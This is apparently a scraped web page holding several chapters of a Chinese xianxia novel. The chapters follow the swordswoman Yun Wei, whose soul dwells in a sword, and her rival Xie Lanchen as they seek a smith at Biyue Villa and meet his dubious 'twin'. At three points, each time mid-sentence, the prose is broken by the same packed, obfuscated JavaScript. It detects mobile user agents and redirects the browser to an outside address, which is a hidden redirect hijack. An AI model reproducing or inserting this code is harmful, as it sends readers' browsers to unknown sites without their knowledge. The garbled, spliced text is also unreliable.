另一名守卫骇然失色,厉声喝道:“大胆!竟敢伤我山庄护卫!”他手忙脚乱地从怀中掏出一枚乌黑的铁哨,就要塞进嘴里吹响。 一道寒光,比他的动作更快。 谢澜忱腰间的孤鸿剑无声出鞘,剑尖抵在持哨守卫的喉结。 冰冷的触感瞬间冻结了他所有动作和声音,铁哨僵在唇边,吹也不是,不吹也不是,眼中只剩下直面死亡的惊骇。 “她若真想杀你们,”少年的视线懒洋洋扫过那守卫煞白如纸的脸,钴蓝色的眸底沉淀着化不开的阴翳与混黑,声音拖得又慢又长,“你二人此刻已是两具尸体。若因你这哨声惊动了不该惊动的人,引来不必要的麻烦,这责任——是你担?还是他担?” 他字字诛心,尾音微微上挑,漫不经心之下是毫不掩饰的杀机。 那双眼睛里没半分玩笑,明明白白地宣告:答错一字,血溅当场。 云微适时松开扣着方脸守卫的手,那人踉跄后退数步,捂着手臂,痛得龇牙咧嘴,再不敢上前。 她转身看向谢澜忱。 少年身形挺拔,孤鸿剑的锋刃映着他眉眼间尚未散尽的狠戾煞气。 可当他的目光扫过云微,那点凶戾竟倏地淡了些许,眼底飞快掠过一丝难以捕捉的局促?仿佛做了什么多余之事,被看穿了心思般。 这人脾性当真古怪,对守卫狠辣无情,此刻倒显出几分不自在来。云微心中暗忖,面上却依旧平静。 她定了定神,淡淡开口道:“谢澜忱,放开他。” 他们是来求人的,不是来结仇的。 少年冷哼一声,孤鸿入鞘,仿佛从未动过。 那持哨守卫如蒙大赦,踉跄后退,捂着喉咙大口喘息,看向谢澜忱的眼神只剩下恐惧,连一丝怨毒都不敢流露。 “庄主他确实不在庄内。”持哨守卫咬着牙,声音缓和了许多,但仍充满警惕与后怕,“请…请回吧。” 费尽周折,连门都未能踏入。徐鄂是真不在,还是得了风声,故意避而不见? 此行,怕是难有结果了。 “既如此,徐庄主归来后,劳烦替我通报一声。”云微不再多言,转身沿着石阶下行,背影决然。 谢澜忱沉默地跟在云微身后一步之遥,目光低垂,方才那下意识的护持,此刻回想,连他自己都觉得有些……莫名其妙。 “谢澜忱,”云微清冷的声音穿透风声,并未回头,抬手将被山风掀起的几缕鬓发别回耳后,唇线抿成一道淡色的弧,“你反应很快。不过,下次不必如此。”她顿了顿,补充道,“我能应付。” 虽解了围,却也暴露了实力,并非上策。 谢澜忱脚步未停,山风将他墨黑的发丝吹得凌乱。 半晌,他才从薄唇间冷冷挤出几个字,干涩、别扭,带着欲盖弥彰的强硬:“谁要你谢?自作多情。我只是怕他伤了你,连累我自己跟着倒霉罢了。”说完,他竟加快了脚步,越过云微,率先朝山下走去,背影透着几分恼羞成怒。 下到山脚平地,便见南宫雅坐在一处露天食肆里。 食肆简陋得可怜,几根歪斜的木柱勉强撑着一块破烂不堪、在风中哗啦作响的油布顶棚。 桌子是几块开裂的旧木板拼凑而成,凳子缺腿,用大小不一的石块勉强垫着。 四周荒凉寂寥,除了这摇摇欲坠的食肆,便是嶙峋的光秃山岩。 “怎么样?见到庄主了吗?”南宫雅一见他们身影,立刻跳起来,脸上写满期待。 谢澜忱没说话,周身寒气未散,径直走到一张离南宫雅稍远、相对完好的桌子旁坐下。 云微也走过去坐下,将方才庄门前的冲突简略叙述了一遍,隐去了谢澜忱出手的细节,只道守卫阻拦,庄主不在。 “什么?!他们还敢动手?真是狗眼看人低!”南宫雅气得跺脚,随即紧张地抓住云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915032|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微的手臂上下查看,“你没事吧?没受伤吧?那…那我们怎么办?难道就这么白跑一趟?”她的小脸垮了下来。 放弃?绝无可能。 云微刚想开口,眼角的余光却捕捉到地上一小团急速放大的阴影。 抬头看去,只见天穹一角,一道修长矫健的身影,竟从极高处的流云之中直直跃出,朝着食肆极速坠落而下。 南宫雅“呀”地一声惊跳起来。 找死?!谢澜忱心头一震,还未来得及有所行动,便觉身侧风起,那道熟悉的素白身影已出手相助。 云微足尖在木桌边缘轻轻一点,身影快如惊鸿,在那人即将撞上尖石的刹那,双臂稳稳一抄,旋身卸力,轻盈落回地面。 怀中这年轻男子,一身月白云锦长衫,腰间悬着枚月牙玉佩,玉色沉得发乌,边缘被摩挲得滑不留手,显是戴了十数年的物件。 眉眼生得周正,剑眉斜挑,星目里却没半分安分,鼻梁挺括如凿,唇角偏勾着抹漫不经心的笑,倒把那身俊朗英气冲淡了,添了几分不羁。 坠崖的惊惶半点不见,那双乌眸亮得灼人,竟燃着两簇疯劲,如同发现了势均力敌的对手,一瞬不瞬地盯着云微清冷的面容。 这人不对劲。云微眉尖暗蹙,立刻松手将他放下,目光不经意扫过他佩戴的玉佩。 此物瞧着眼熟,却不及他眼底那股子战意来得要紧。 “痛快!太痛快了!”男子落地站定,非但毫发无伤,反而抚掌大笑,“姑娘简直是为战斗而生的天赐瑰宝!”他目光灼灼,如同打量一柄绝世好剑,“在下贾逸,飘逸的逸。敢问仙子芳名?” 谢澜忱的脸色瞬间沉了下来,一股冰冷的戾气在胸中翻涌,闷痛感攥紧了心脏。 他不动声色地上前一步,身形恰好将云微挡在自己身后侧,隔开了贾逸那过于放肆的视线,声音低沉,带着警告:“你,活腻了?” 贾逸眉峰一挑,非但不惧,反而饶有兴致地打量谢澜忱,又看看他身后的云微,笑容挑衅:“你紧张什么?救命之恩,自当感谢。强者相逢,更该以武会友,切磋印证。” 云微并未理会谢澜忱的动作,清冷眸光在贾逸身上快速扫过。 无灵力护体,主动跳崖,战意狂热……绝非寻常。 她心中瞬间掠过诸多念头,面上却不动声色,只淡淡道:“举手之劳,不必言谢。我姓白。” “白姑娘,相逢即是有缘!两位…哦,还有这位可爱的姑娘,”贾逸朝惊魂未定的南宫雅露出一个极具亲和力的笑,“店家!上好酒!最烈的!” 酒壶很快摆上。 他热情倒满一碗浊酒推向云微:“白姑娘,山野烈酒,驱寒暖身!请!” 云微垂眸看着碗中浑浊的酒液。 久历风波,人心叵测,岂会因一句“救命之恩”和一碗来历不明的劣酒便卸下心防?此人行为诡异,热情过度,此酒是试探还是别有用心? 她指尖在冰冷的碗沿轻轻划过,却并未去接那碗酒。 谢澜忱看她指尖悬在碗沿不动,嘴角抿紧,便知她存了戒备。 他双手环在胸前,指节捏得“咯吱”响,越看那碗酒越碍眼。 反正她也绝不会碰这东西,留着反倒让这登徒子聒噪个没完。 念头刚落,他抽出环在胸前的右手,手腕一翻。 “哐当!” 那粗瓷碗被一股巧劲扫落在地,瞬间四分五裂,浑浊的酒液四溅开。 谢澜忱慢悠悠收回手,仿佛只是掸了掸灰尘,眼底淬着点漫不经心的冷意:“她不喝这种劣酒。” 15.密道 贾逸脸上笑容微凝,那双燃着战意的黑眸转向谢澜忱,非但毫无恼怒,反倒手肘支在桌上,手掌托着半边脸颊,指尖还轻轻在太阳穴上敲了两记,眼底兴味更浓:“哦?这位朋友火气倒是旺得很。” 云微心里暗自思忖:此人行事狂放跳脱,路数全然不似常人。那般高崖说跳就跳,竟能毫发无伤,定有其依仗。 只是眼下,碧月山庄的事还没头绪,他们要找徐庄主锻剑、修神兵,这才是最要紧的。 若为这点小摩擦与他起了冲突,平白添个不明深浅的对头,实在不值当。 她清冷的眸光微凝,右手并指如剑,对着地上的狼藉凌空一划。 只见散落的瓷片如同受到牵引般合拢,四溅的酒液亦倒流回碗中。 眨眼间,一个完好无损、盛满浑浊酒液的粗瓷碗,稳稳地悬浮在她面前,碗中酒水平静无波,仿佛从未被打翻过。 南宫雅看得目瞪口呆,喃喃道:“好厉害……” 贾逸原本半倚着桌沿,见此情形,眼睛倏地亮了,像见了有趣猎物的鹰隼,猛地直起身来。 他拍了下手,语气里满是毫不掩饰的兴奋:“姑娘这一手凝虚化实的本事,归云宗的‘流云溯诀’练到第九重也不过如此吧?” 谢澜忱环抱于胸前的双臂微微绷紧,盯着那复原的酒碗,眼底深处掠过一丝复杂。 这招他也曾偷练过,整整三个月,碎了十七只碗,终究是不得其门。 少年喉结微滚,垂下眼帘,长长的睫毛掩去眸中那点黯然。 她总是这样,举手投足间的从容,偏生是他拼尽全力也够不着的高度。 谢澜忱这副模样,显是动了气。 他这性子,最受不得旁人在他面前夸赞她。 云微记得清楚,当年在归云宗,他便常因旁人一句“大师姐剑法卓绝”,闷头练剑到深夜,次日手上添了新伤也不肯吭声。 眼下碧月山庄之事尚未分明,贾逸来历不明,谢澜忱又这般易动肝火,须得稳住才是。 一碗酒罢了,犯不着因此生出事端。 她指尖微点,那悬空的酒碗便如附了无形之力,稳稳落回桌上,碗沿与桌面相触,只发出极轻一声“笃”响。 抬眸看向贾逸时,云微眼中神色淡淡,却藏着几分不解:“你自那万丈危崖一跃而下,竟将生死视若等闲。这却为何?莫非真不怕摔得粉身碎骨,化作一滩肉泥?” 他敢如此行事,必有非同寻常的依仗,这才是她此刻最想弄清的。 贾逸脸上的笑容敛去几分,但那灼热的光芒并未熄灭,反而带上一种近乎天真的坦然:“当然是为了‘刺激’。你不觉得,只有无限接近死亡,才能真正感受到自己活着吗?”他忽然倾身靠近,袖口带起一阵清冽松香,“好了,接下来该我提问了。三位在这荒山野岭,所为何来?” 我此来是为寻庄主徐鄂,可其间情由却不止于此。云微心想。 她眼角余光瞥向谢澜忱,见他眉头紧锁,望向贾逸的目光中满是不耐,显见得对这人并无半分好感。 若是此刻将来意和盘托出,以谢澜忱那乖张性子,少不得又要生出些是非来。 罢了,此人终究是陌生人,何必说这许多?点到即止也就是了。 她正欲随口编个由头搪塞过去,眼角却瞥见贾逸的目光直勾勾落在自己脸上。 那眼神里藏着几分急切,又带着些许笃定的期待,仿佛认准了她定会说出某个名字一般。 这情形当真古怪得紧。他到底在盼着什么? 一旁的南宫雅见三人你看我、我看你,谁都不说话,早等得不耐烦了。 她“噌”地站起身,大步走到桌边坐下。 “你们这大眼瞪小眼的,要看到什么时候?我们此行是来找庄主徐鄂的,想请他老人家锻造一把新剑,还要修复一柄极要紧的旧神兵。” “徐鄂?”贾逸重复着这个名字,手指无意识地摩挲着腰间一个样式陈旧、边缘已被摩挲得光滑无比的月牙形玉佩,声音沉了下来:“你们想进山庄?我可以带你们进去。我知道一条密道,是我兄长小时候带我发现的。” 他指向食肆后方,那陡峭山崖上一处被茂密藤蔓和嶙峋怪石遮掩得几乎看不见的缝隙:“入口就在那里,不过……”他语气微沉,“那密道极其狭窄,年久失修,最多只能勉强容两人并行,人多反而容易触发机关或坍塌。” “密道?”谢澜忱眯了眯眼,钴蓝色的眼眸里满是怀疑,“谁知道是不是你的圈套?引我们进那鬼地方,再关起门来动手脚,倒是省事。” 这密道的真伪,倒也不难分辨。云微暗自思忖。 他既肯指明入口所在,又言明狭窄多险,若真是圈套,未免太过直白。 即便有诈,凭他这点道行,怕是难了。 “既如此,便让他陪你进去。”云微抬手,指向谢澜忱。 少年闻言一怔,眼里满是错愕,似是不解她为何作此安排。 沉默半晌,云微唇瓣微启,缓缓吐出几个字: “他是我信任之人。” 话音落时,众人仿佛都被这平淡的语气压下去几分,只余下风吹树叶的沙沙声,衬得这几个字愈发分明。 云微脸上依旧是那副淡淡的神情,既无半分激昂,也不见丝毫缱绻,仿佛只是在说一件再寻常不过的事。 可这话落在谢澜忱耳中,却比惊雷更震。 从前在归云宗,他恨她的天赋,恨她的从容,更恨自己望着她时,那点藏不住的、连自己都唾弃的仰望。 他想大声质问她凭什么,凭什么在他把她的一切都夺走之后,还能这般云淡风轻地说出“信任”二字,这是对他的讽刺,还是另有目的的试探?又或者,只是为了利用他而随口编造的谎言? “你……”他张了张嘴,想要质问,声音却像被一只无形的大手死死扼住,最终只化作破碎的气音。 原来,比起被她恨之入骨,这轻飘飘的“信任”,竟更让他无所适从。 贾逸的视线在二人间逡巡,嘴角勾起笑眼弯弯:“哦?‘信任之人’?有意思。”他并未深究,反而爽快点头,“行!那就这位……‘信任之人’随我走一趟吧。” 云微抬眸看向谢澜忱,眸光平静无波,语气却带着一丝不易察觉的提点:“孤鸿剑随你去,遇事它会护你。” 她没说更多,却已将所有安排藏在这句平淡的话里。 孤鸿剑随他,便是她随他。这既是承诺,也是无声的叮嘱,只看少年能否领会。 阿雅修为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945242|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚浅,性子跳脱,绝不能涉险,留她在外最为稳妥。 谢澜忱虽对贾逸不满,但同生契在身,他若遇险,自己立时便能察觉。 更要紧的是,她本是残魂寄于孤鸿剑,凭同生契化形,此刻若敛去身形重归剑身,便可随他一同入密道,既不违那“两人并行”的限制,又能时刻护他周全。 贾逸纵有算计,也料不到这层关节。这般安排,既稳妥,又能将风险降到最低,再合适不过。 “发什么愣?‘信任之人’?”贾逸回头催促,语气带着明显的调侃,“舍不得走?还是想让你的白姑娘送送你?”他故意把“信任之人”四个字咬得极重。 谢澜忱猛地回神,眼底的混乱瞬间被更深的冰冷戾气覆盖。 他狠狠剜了贾逸一眼,声音像是从牙缝里挤出来:“带路。” 看着两人身影消失在崖壁的缝隙中,云微立刻转向南宫雅,语速飞快:“阿雅,听着,我需依附剑身随行进去。你留在此处,绝对不要离开。”她指尖凌空划动,几道肉眼难辨的淡金色符文瞬间没入南宫雅脚下的地面,形成一个简易的法阵。 随即,她闭上双眼,意念沉入识海深处,沟通孤鸿本源。 另一边,密道之内。 贾逸动作熟练地拨开几块看似随意堆砌、实则暗含规律的嶙峋怪石,露出一个仅容一人侧身通过的狭窄洞口。 一股混合着潮湿泥土和陈年铁锈的沉闷气息扑面而来。他率先弯腰钻了进去,声音在狭窄的空间里显得有些沉闷:“跟紧了,里面黑。” 谢澜忱紧随其后,侧身挤进洞口的瞬间,浓稠的黑暗便将他整个吞没。 密道窄得不像话,石壁上的湿冷苔藓蹭过手臂,留下黏腻的触感,脚下尽是凹凸不平的碎石,稍不留神就要打滑,头顶垂落的石笋擦着发顶掠过,逼得人不得不时刻佝偻着背。 谢澜忱攥着孤鸿剑的手指无意识收紧,指腹抵着冰凉的剑鞘,心头却乱糟糟的:同生契还好好连着,她应该是安全的…… 阿雅那丫头毛手毛脚的,真遇上麻烦,她一个人应付得来?她如今灵力还没恢复,若是…… “喂,走快点。”贾逸的声音从前面飘来,带着毫不掩饰的戏谑,“难不成还在指望谁跟进来?你那位白姑娘多精明,定然在外面安安稳稳等着消息,哪会真钻这种鬼地方。”他顿了顿,语气里的嘲弄几乎要溢出来,“怎么?担心她了?还是怕得迈不动脚?” “闭嘴。”谢澜忱猛地抬眼,声音带着几分被人窥破心思的戾气。 同生契在身,她若在外头真出了岔子,自己岂能独善其身?不过是怕被这麻烦牵连罢了,哪里是什么牵肠挂肚?偏被这贾逸三言两语戳破,倒像是他真对云微存了什么异样心思一般。 他喉头动了动,攥着孤鸿剑的手紧了又紧,指节泛白,似要将那点莫名的烦乱都捏碎在掌心。 身后的巨石暗门发出沉闷的“嘎吱”声,正一点点向内闭合,缝隙越来越窄,最后只剩下不足一指宽。 就在那石门即将彻底合拢的刹那—— 一道凝练到极致的淡金色流光,快得几乎让人无法捕捉,“倏”地一下,精准无比地没入他腰间悬挂的孤鸿剑中。 剑身极轻微地颤了颤,旋即归于沉寂。 16.双生子 “仔细脚下,此地难保没有断处陷阱。倘若真有危险,我不会袖手旁观。”云微清冷之声,自孤鸿剑中透入谢澜忱识海。 少年闻言顿了顿,半晌,他喉间闷出一声轻嗤,指尖在剑鞘上轻轻叩了两下。 想来是听进了,只是以他那性子,定是不肯露半分承情的模样。 不知过了多久,前方终于漏进一丝微弱的天光。 贾逸在一处看似寻常的石壁前停下,手指在几块凸起的石头上迅疾地按过某种顺序。 “咔哒。” 一块石板无声滑开,仅容一人侧身而过。 徐懿利落地矮身钻出,谢澜忱紧随其后,几乎是撞进了光亮里。 眼前豁然开朗。 他们身处一间极其轩敞的屋子。 地面铺着白玉石板,四壁是厚重的黑色巨石垒砌。 一张巨大的黑檀木书案置于中央,上面文房四宝、书简摆放得一丝不苟。 角落的博古架上,陈列着形态各异的矿石样本和一些奇特的锻造器具。 庄主居室? 贾逸对此地了如指掌,他到底是谁?守卫口中的“贼人”?或是…… 正想着,贾逸已走到厚重的木门前,信手推开。 门外的景象,饶是云微也心神微震。 眼前是几座巍峨耸立的黑色巨塔,由巨大的玄黑岩石垒成。 塔与塔之间,由悬空的巨大石桥相连,桥侧垂下粗壮的寒铁锁链,在山风中微微晃动,发出沉闷的金属摩擦声。 山壁被凿出梯田般的层层平台,其上黑瓦白墙的屋舍鳞次栉比,飞檐斗拱在缭绕的云雾中若隐若现。 碧月山庄…云微默念着这个名字。 倒与记忆中徐鄂那沉稳如山的秉性隐隐相合。 恰在此时,两名身着玄色劲装、腰佩长刀的侍卫自下方石径匆匆奔来。 见到徐懿立于门前,立时单膝跪地,动作整齐划一,声音洪亮: “参见庄主!” “禀庄主!先前有两人强闯山门,自称前庄主故人,打伤守卫,请庄主示下!” 庄主?! 谢澜忱猛地侧首,只听“锵——!”一声,孤鸿剑悍然出鞘,直指贾逸喉前半寸,逼得他不得不微微后仰。 那两名侍卫见状,脸色骤变,呛啷拔刀,身形暴起,便要扑上。 “退下。”徐懿一声断喝,声音不大,目光冷冷扫过侍卫。 二人身形硬生生顿在半空,前冲的劲力收不住,脚下踉跄了两步,僵在原地进退不得。 云微瞧得分明,他们目光不住往贾逸脸上瞟,那神色里哪有半分敬畏,反倒像是怕他下一刻便会变脸,露出什么吓人的模样来。 贾逸脸上不见半分惊惶,反倒盯着谢澜忱剑锋上跳动的寒芒,眼底竟浮出一丝赞许,仿佛见了合心意的对手。 他抬手,仅以食中二指便将孤鸿剑稳稳格开:“啧,急什么。”男人唇角勾起抹笑意,带着几分漫不经心的玩味,“听我把话说完,你再动手也不迟。届时任你砍杀,我半分不躲,如何?” “听你狡辩?我看你这张脸就碍眼得很。” “谢澜忱,冷静。”云微适时开口道。 那两名侍卫口中的“前庄主”三字,已道破徐鄂早已不当家,此为一端。 眼前这人,若真是徐鄂兄弟,自该同姓,却偏用“贾逸”化名。这“贾”字与“假”同音,莫非是说他这身份本就掺了水分?此为二端。 先前山下守卫只说“庄主不在”,却没提“徐鄂庄主”,想来那时他们口中的“庄主”,便是此人。此为三端。 他隐瞒身份,接近试探,动机不明,是怕他们认出他的底细,还是另有所图? 眼下局势未明,谢澜忱这一剑虽快,却未必能问出实情,且看贾逸如何自圆其说吧。 贾逸摊开手,姿态无奈却坦荡:“好吧,重新认识一下。我名徐懿,‘嘉言懿行’的懿。‘贾逸’不过化名。”他指了指谢澜忱身后的那两个侍卫,“至于他们为何称我庄主…只因如今坐在这位子上的,确系在下。而你们要找的徐鄂,是我一母同胞的亲哥哥,血脉相连的双生兄弟。绝无虚假。” “一年前,我接得急报,说兄长遇刺。”徐懿垂着眼,指尖在月牙佩上反复摩挲,玉面冰凉,他唇角却牵起一抹极淡的笑,带着几分自嘲,“奔回时,书房只余满地黑血,还有他那从不离身的月牙玉佩。” 双生子?云微心中微澜。 她魂体不全,那些年的人事往来只余下些模糊碎片,在脑中飘来荡去,抓不住半分实影。 徐鄂若真有这个弟弟,当年相处时,他为何半句也不曾提过?是他刻意瞒着,不愿让人知晓? 思及此,云微目光再落向徐懿,只觉他眉宇间那点桀骜里,偏生掺着几分徐鄂的影子,倒像是一幅画被人添了几笔,熟悉又陌生。 “我兄长徐鄂,木讷寡言,心如顽石。毕生所求,唯锻炉、矿石、铸神兵。” 徐懿抬起眼,眸底翻涌着狠厉,却偏勾着唇角:“碧月山庄是他半生心血,性命所托。他既罹难,山庄不能乱,更不能落入可能害他之人的手中。故而,我暂摄庄主之位,对外只称兄长闭关,由我代掌。一为稳住局面,二为守株待兔。待那些杂碎以为风平浪静,敢再露头。届时,我必亲手将其一一揪出,挫骨扬灰。” 谢澜忱紧盯着徐懿的眼睛,见他提及兄长时眼底那抹痛色不似作伪,心头疑窦稍减,却仍不肯信:“双生兄弟?天下哪有这般巧事?” “其言虽有疑,亦非全无可能。徐鄂秉性确如他所言。且听其下文,看其能否自证。若有诈,我自会护你周全。”云微语气平淡。 她心中暗自思忖:徐懿说徐鄂木讷寡言,毕生只恋锻炉矿石,这与自己残忆中那个总蹲在炉边敲敲打的身影,倒有几分对得上。 他眼底那痛色瞧着真切,却难保不是久经历练的伪装——江湖险恶,人心叵测,这点伎俩算不得什么。 且再看看吧。若他真能拿出实打实的凭证,自证身份,那便另当别论;若是拿不出,或是言语间露出半分破绽,凭她与谢澜忱的身手,要制住他,不过举手之劳。 少年脸色微沉,偏生不能发作。 云微附于剑中,他绝不能让徐懿察觉到她的存在,只能咬着牙将那点异样的情绪压下去。 他缓缓撤剑,侧身而立,半边身子透着戒备,眼睛冷冷剜向徐懿时,恨不得用目光在他身上戳出几个洞来。 “凭证。”少年薄唇轻启,声音里不带半分暖意,半晌又道:“拿出能证明你说的不是谎话的物件来,别用那些不着边际的言语来搪塞。” 少年的要求正当。云微认同。 情势未明,轻信乃大忌。徐鄂若真遇害,凶手可能就在暗处,甚至…就在眼前。 “凭证?”徐懿挑眉,那神情倒像是觉得这要求再寻常不过。 他眼角余光扫过旁边两个侍卫,眉头微蹙,扬手斥道:“这里没你们的事了,滚。” 那两人如得特赦,退了下去,临走时还偷瞥了谢澜忱一眼,满眼都是后怕。 徐懿不再理会,转身大步往山庄深处去,只丢了句:“随我来。” 谢澜忱抬步跟上,周身寒气半分未减,显然未放下半分戒心。 云微亦凝神戒备。 侍卫对徐懿的敬畏不假,可提及徐鄂遇刺时,那两人眼底一闪而过的惊惧,却不似对旧主遇害的悲恸,反倒像怕触怒眼前这位新主。 这两个侍卫的反应,倒比徐懿的话更值得琢磨。 穿过蜿蜒石径,两侧松柏苍翠,偶有落叶簌簌飘落,沿途侍卫见徐懿皆躬身行礼,敬畏之色不似作伪。 行至山庄最深处,一座由整块玄黑巨岩凿成之宏伟塔楼矗立眼前。 推门而入,壁上挂满了各式图谱,或绘奇形兵刃,或描各色珍矿,边角皆已泛黄,显是有些年头了。 云微目光一扫,最先落在正对门的壁上,一柄长刃悬在那里,通体乌沉如墨,刃身光素。 徐懿行至剑前,眼神瞬间变得复杂难言,狂放不羁之气尽敛,只剩下深沉的怀念与一丝难以言喻的落寞。 他伸出手,指尖在离剑身寸许处虚悬,仿佛怕惊扰了什么。 云微的目光忽落在他伸出的手上,那指尖在离剑身寸许处虚悬,指节上竟覆着层厚厚的茧,是常年与锤凿、铁器打交道才有的模样。 “这是徐鄂的佩剑,名为‘沉岳’。”他嘴角勾着笑,眼神却掠过一丝复杂,“我爹娘走得早,幼时我曾被仇家掳去,浑身是伤动弹不得,是他举着把豁口的锈刀冲进来,死死把我护在怀里。” 他轻哼一声,尾音却微微发颤,方才那点桀骜忽然泄了气,指尖轻抚剑刃,明明灭灭间全是压不住的涩然:“这剑倒是随他,笨头笨脑的,偏生结实得很。” 徐懿这番话,倒让她记起些零碎画面。 当年徐鄂蹲在熔炉边敲打着铁器,火光映着他左眉骨下那道疤痕,她曾随口问过一句,他只笑说“陈年旧伤,不值一提”。 原来如此。 她既已在他言语间拾得些关于徐鄂的残忆,总该当面问清些事,且孤鸿剑修复与新剑锻造,还需他出手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952456|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这般想着,云微身形微动,已从孤鸿剑中显形。 素衣翩然落地,眸光清冷淡漠,挡在谢澜忱身前。 她视线直刺徐懿,没有半分迂回,锋芒尽露:“你既说与徐鄂是双生,想必也该认得我。” 徐懿先是一怔,眼中闪过一抹讶异,半晌才低低笑了一声:“原来如此,你竟一直附身于剑中。倒是我眼拙了。” 他往前挪了半步,目光在她脸上细细扫过,那眼神里藏着几分不易察觉的郑重,仿佛是在替谁确认着什么。 “当年你提着剑闯来,眼睛里全是不服输的劲儿,”他顿了顿,指尖在身侧悄然蜷起,又缓缓松开,语气里添了丝漫不经心的喟叹,“如今……倒还是这副冷冰冰的模样。不过这样才好,若是变了,反倒没意思了。” 谢澜忱眸中惊怒翻涌,先前那层冷冽碎得七零八落,只剩下被搅乱的烦躁。 他死死盯着云微挡在身前的背影,那抹素白在昏暗中扎眼得很,格格不入。 满肚子的质问堵得他心口发闷,喉头滚动了半晌,终是冷冷开了口,语气硬得能砸出火星,偏生尾音里泄了点不易察觉的发颤:“你出来捣什么乱?他提及徐鄂,你便动容了?” 话一出口,他自己也怔了怔,似是不解为何会说出这般话来。 宿敌六载,她护着谁、向着谁,与他何干?可此刻瞧着那背影,心里头竟像被什么东西攥紧了,闷得发慌。 “江湖事本就传得快,”她声音平平稳稳,听不出半分波澜,“我身上这些变故,若徐公子平日爱听些闲言碎语,大约也能拼凑出几分影子。” 堕魔也好,身死也罢,皆是板上钉钉的往事。 她云微行事,素来是行得正、坐得端,纵有千般非议、万般揣测,她自岿然不动。 藏藏掖掖?那是心怯者的勾当,她不屑为。 云微缓步走向“沉岳”,目光触及剑身的刹那,眉峰微蹙,似有什么东西在心头撞了一下。 “此剑,我认得。”她语声微顿。 “彼时我剑道初成,心高气傲,只道强者当独行天下,遇瓶颈难破。闻碧月庄主徐鄂,锻剑之术登峰造极,对‘强’之一字更有独到悟解,遂跋涉而来。” 她指尖悬在离剑脊寸许处,似碰非碰地划过,眸光微凝:“然其人不吝赐教。我言及剑者当以力破万难,他却只是摇头,引我去瞧山庄后那片荒田,原是他雇了农户开垦,产出的粮食全接济了山下几户无依无靠的人家。” “他说,强者非独力擎天,是绝境中守得住肩头责任。纵如萤火微光,能为旁人照亮半步前路,便不算枉称‘强’字。这兼济二字,才是剑心最终归处。” 谢澜忱垂着眼,静静听着。 云微确实做到了。江湖上提起她,谁不赞一声“侠骨仁心”?可唯独在归云宗那些年,对着他时,永远是冷眉冷眼,是剑拔弩张,半句软话也吝啬给。 她的“兼济”给了天下百姓,偏偏把最硬的刺都留给了他。 “呵。”一声极轻的嗤笑从齿间溢出,带着点自嘲,又有点说不清的怨。 云微侧头,目光淡淡扫过谢澜忱,见他垂着眼,唇边那声嗤笑余韵未散,眉宇间攒着说不清的郁色,倒像是她方才的话触了他什么逆鳞。 指尖收回,在袖中轻轻拢住。 云微心下微动,旋即又沉下去。 此人素来如此,喜怒无常,从归云宗初见时便是这般,一点火星就能惹得他周身戾气翻涌,这么多年过去,竟半分未改。 方才提及徐鄂,原也不是为了追念旧情,不过是见徐懿对其兄执念颇深,借往事搭个话头,好让他念着这份渊源,肯出手修复孤鸿剑,再锻一柄合用的新剑罢了。 这般想着,她已走到徐懿面前,目光平静地落在他脸上,语气不卑不亢:“你与他既是双生子,想来也习得几分锻剑精髓。我有两事相求:其一,我佩剑‘孤鸿’受损,剑脊崩裂,寻常铁匠难修;其二,需一柄新剑,要能承我七分剑意,不至轻易折损。” 徐懿低低笑出声,眼底亮得惊人:“你倒是直接。只是我这人,可没我哥那兼济天下的心思,帮不帮忙全看心情。不如这样,你我比试一场?无论输赢,修剑锻剑分文不取。” 云微望着他的脸,眉头几不可察地蹙起。 既是双生,原该有七八分相似才对,可眼前这张脸,半分也不像徐鄂。 她指尖在袖中微顿,心底那点疑虑又浮了上来。 正思忖间,一名须发皆白的老者拄着拐杖走了进来,声音发颤,满脸急切: “姑娘,你莫要信他!” 17.离魂之症 屋内气氛骤然一凝。 谢澜忱指尖扣紧孤鸿剑柄,指节泛白,却未多言,只那双眼眸冷冷盯着徐懿。 少年这副模样,倒像是随时要拔剑出鞘。 徐懿脸上那抹惯常的、带着几分玩世不恭的笑意淡了下去,眼底掠过一丝极快的不悦,旋即对老者沉声道:“福伯,你年事已高,莫要在此胡言乱语,扰了贵客清静。下去。”驱赶之意明显。 被称为福伯的老者却置若罔闻,右手紧紧抓着拐杖,浑浊的眼睛里翻涌着痛惜与急切,他望着云微,仿佛她是唯一能解开这死结的人:“姑娘,老朽徐福,是看着庄主长大的老仆!他父母当年惨死仇家之手,他是被老庄主,也就是他爷爷,从尸山血海里寻回的独苗!他……他根本没有一母同胞的双生兄弟!” 